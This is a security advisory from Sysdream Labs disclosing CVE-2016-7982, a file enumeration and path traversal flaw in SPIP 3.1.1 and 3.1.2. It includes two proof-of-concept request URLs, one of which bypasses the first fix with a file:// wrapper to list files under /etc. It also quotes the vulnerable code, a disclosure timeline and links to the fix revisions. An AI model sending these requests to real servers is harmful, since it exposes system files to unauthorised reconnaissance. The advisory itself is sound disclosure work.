SPIP 3.1.2 File Enumeration / Path Traversal

`## SPIP 3.1.1/3.1.2 File Enumeration / Path Traversal (CVE-2016-7982)  
  
### Product Description  
  
SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.  
  
### Vulnerability Description  
  
The `valider_xml` file can be used to enumerate files on the system.  
  
**Access Vector**: remote  
  
**Security Risk**: medium  
  
**Vulnerability**: CWE-538  
  
**CVSS Base Score**: 4.9 (Medium)  
  
**CVE-ID**: CVE-2016-7982  
  
### Proof of Concept  
  
Enumerating `.ini` files inside `/etc` (SPIP 3.1.1) :  
  
http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=/etc&ext=ini&recur=2  
  
Bypassing SPIP 3.1.2 protection using PHP Wrappers :  
  
http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///etc&ext=ini&recur=2  
  
### Vulnerable code  
  
if (is_dir($url)) {  
$dir = (substr($url, -1, 1) === '/') ? $url : "$url/";  
$ext = !preg_match('/^[.*\w]+$/', $req_ext) ? 'php' : $req_ext;  
$files = preg_files($dir, "$ext$", $limit, $rec);  
if (!$files and $ext !== 'html') {  
$files = preg_files($dir, 'html$', $limit, $rec);  
if ($files) {  
$ext = 'html';  
}  
}  
if ($files) {  
$res = valider_dir($files, $ext, $url);  
list($err, $res) = valider_resultats($res, $ext === 'html');  
  
File names are stored in `$res` and displayed by `echo` on line 146 :  
  
echo "<h1>", $titre, '<br>', $bandeau, '</h1>',  
"<div style='text-align: center'>", $onfocus, "</div>",  
$res,  
fin_page();  
  
  
  
### Timeline (dd/mm/yyyy)  
  
* 15/09/2016 : Initial discovery  
* 26/09/2016 : Contact with SPIP Team  
* 27/09/2016 : Answer from SPIP Team, sent advisory details  
* 27/09/2016 : Incorrect fixes for Path Traversal  
* 27/09/2016 : New proof of concept for bypassing Path Traversal sent.  
* 27/09/2016 : Bad fix for Path Traversal (23185)  
* 28/09/2016 : New proof of concept for bypassing fixes for Path Traversal on Windows systems.  
* 28/09/2016 : Fixes issued Path Traversal (23200)  
* 30/09/2016 : SPIP 3.1.3 Released  
  
### Fixes  
  
* https://core.spip.net/projects/spip/repository/revisions/23207  
* https://core.spip.net/projects/spip/repository/revisions/23208  
* https://core.spip.net/projects/spip/repository/revisions/23206  
* https://core.spip.net/projects/spip/repository/revisions/23202  
* https://core.spip.net/projects/spip/repository/revisions/23201  
* https://core.spip.net/projects/spip/repository/revisions/23200  
* https://core.spip.net/projects/spip/repository/revisions/23191  
* https://core.spip.net/projects/spip/repository/revisions/23190  
* https://core.spip.net/projects/spip/repository/revisions/23193  
* https://core.spip.net/projects/spip/repository/revisions/23188  
* https://core.spip.net/projects/spip/repository/revisions/23187  
* https://core.spip.net/projects/spip/repository/revisions/23185  
* https://core.spip.net/projects/spip/repository/revisions/23182  
* https://core.spip.net/projects/spip/repository/revisions/23184  
  
  
### Affected versions  
  
* Version <= 3.1.2  
  
### Credits  
  
* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)  
  
  
--   
SYSDREAM Labs <[email protected]>  
  
GPG :  
47D1 E124 C43E F992 2A2E  
1551 8EB4 8CD9 D5B2 59A1  
  
* Website: https://sysdream.com/  
* Twitter: @sysdream  
  
  
  
  
  
`